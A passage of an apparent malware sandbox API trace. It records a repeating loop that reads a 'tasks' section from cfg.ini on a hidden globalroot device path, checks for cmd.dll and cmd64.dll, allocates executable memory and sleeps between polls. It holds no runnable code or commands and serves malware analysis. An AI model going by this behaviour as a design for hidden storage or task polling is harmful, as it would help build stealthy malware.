KeLeaveCriticalRegion () [0119.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.628] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.628] KeEnterCriticalRegion () [0119.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.628] KeLeaveCriticalRegion () [0119.628] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.628] KeEnterCriticalRegion () [0119.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.628] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.628] KeLeaveCriticalRegion () [0119.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.629] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.629] KeEnterCriticalRegion () [0119.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.629] ExFreePoolWithTag (P=0xfffffa8003bda450, Tag=0x0) [0119.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.629] KeLeaveCriticalRegion () [0119.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.629] ReleaseMutex (hMutex=0xf0) returned 1 [0119.629] Sleep (dwMilliseconds=0x927c0) [0119.636] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.636] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.636] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.636] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.636] KeEnterCriticalRegion () [0119.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.636] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.636] IdePortDispatch () returned 0x103 [0119.637] KeWaitForMutexObject () returned 0x0 [0119.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.637] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.637] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.637] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.637] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.637] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda8d0 [0119.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.637] KeLeaveCriticalRegion () [0119.637] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.637] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.637] KeEnterCriticalRegion () [0119.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.637] KeLeaveCriticalRegion () [0119.637] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.637] KeEnterCriticalRegion () [0119.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.637] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.637] IdePortDispatch () returned 0x103 [0119.637] KeWaitForMutexObject () returned 0x0 [0119.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.637] KeLeaveCriticalRegion () [0119.637] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.637] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.638] KeEnterCriticalRegion () [0119.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003453000 [0119.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.638] IdePortDispatch () returned 0x103 [0119.638] KeWaitForMutexObject () returned 0x0 [0119.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.638] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.638] IdePortDispatch () returned 0x103 [0119.638] KeWaitForMutexObject () returned 0x0 [0119.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.638] KeLeaveCriticalRegion () [0119.638] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.639] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.639] KeEnterCriticalRegion () [0119.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] KeLeaveCriticalRegion () [0119.639] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.639] KeEnterCriticalRegion () [0119.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.639] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcad20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] KeLeaveCriticalRegion () [0119.639] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.639] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.639] KeEnterCriticalRegion () [0119.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] ExFreePoolWithTag (P=0xfffffa8003bda8d0, Tag=0x0) [0119.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.639] KeLeaveCriticalRegion () [0119.639] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.639] ReleaseMutex (hMutex=0xf0) returned 1 [0119.639] Sleep (dwMilliseconds=0x927c0) [0119.654] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.654] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.654] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.654] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.654] KeEnterCriticalRegion () [0119.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.654] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.654] IdePortDispatch () returned 0x103 [0119.654] KeWaitForMutexObject () returned 0x0 [0119.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.654] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.654] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.654] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d67e0 [0119.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.654] KeLeaveCriticalRegion () [0119.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.654] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.654] KeEnterCriticalRegion () [0119.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.654] KeLeaveCriticalRegion () [0119.654] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.654] KeEnterCriticalRegion () [0119.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.655] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.655] IdePortDispatch () returned 0x103 [0119.655] KeWaitForMutexObject () returned 0x0 [0119.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.655] KeLeaveCriticalRegion () [0119.655] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.655] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.655] KeEnterCriticalRegion () [0119.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003458000 [0119.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.655] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.655] IdePortDispatch () returned 0x103 [0119.655] KeWaitForMutexObject () returned 0x0 [0119.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.655] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.655] IdePortDispatch () returned 0x103 [0119.655] KeWaitForMutexObject () returned 0x0 [0119.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] KeLeaveCriticalRegion () [0119.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.656] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.656] KeEnterCriticalRegion () [0119.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] KeLeaveCriticalRegion () [0119.656] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.656] KeEnterCriticalRegion () [0119.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.656] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaa10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] KeLeaveCriticalRegion () [0119.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.656] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.656] KeEnterCriticalRegion () [0119.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] ExFreePoolWithTag (P=0xfffffa80039d67e0, Tag=0x0) [0119.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.656] KeLeaveCriticalRegion () [0119.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.656] ReleaseMutex (hMutex=0xf0) returned 1 [0119.657] Sleep (dwMilliseconds=0x927c0) [0119.670] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.670] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.670] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.670] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.670] KeEnterCriticalRegion () [0119.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.670] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.670] IdePortDispatch () returned 0x103 [0119.670] KeWaitForMutexObject () returned 0x0 [0119.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.670] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.670] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.670] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.670] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.670] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcad60 [0119.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.670] KeLeaveCriticalRegion () [0119.670] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.671] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.671] KeEnterCriticalRegion () [0119.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.671] KeLeaveCriticalRegion () [0119.671] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.671] KeEnterCriticalRegion () [0119.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.671] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.671] IdePortDispatch () returned 0x103 [0119.671] KeWaitForMutexObject () returned 0x0 [0119.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.671] KeLeaveCriticalRegion () [0119.671] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.671] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.671] KeEnterCriticalRegion () [0119.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345d000 [0119.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.671] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.671] IdePortDispatch () returned 0x103 [0119.671] KeWaitForMutexObject () returned 0x0 [0119.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.672] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.672] IdePortDispatch () returned 0x103 [0119.672] KeWaitForMutexObject () returned 0x0 [0119.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.672] KeLeaveCriticalRegion () [0119.672] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.672] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.672] KeEnterCriticalRegion () [0119.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.672] KeLeaveCriticalRegion () [0119.672] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.672] KeEnterCriticalRegion () [0119.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.672] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.673] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.673] KeLeaveCriticalRegion () [0119.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.673] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.673] KeEnterCriticalRegion () [0119.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.673] ExFreePoolWithTag (P=0xfffffa8003bcad60, Tag=0x0) [0119.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.673] KeLeaveCriticalRegion () [0119.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.673] ReleaseMutex (hMutex=0xf0) returned 1 [0119.673] Sleep (dwMilliseconds=0x927c0) [0119.687] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.687] 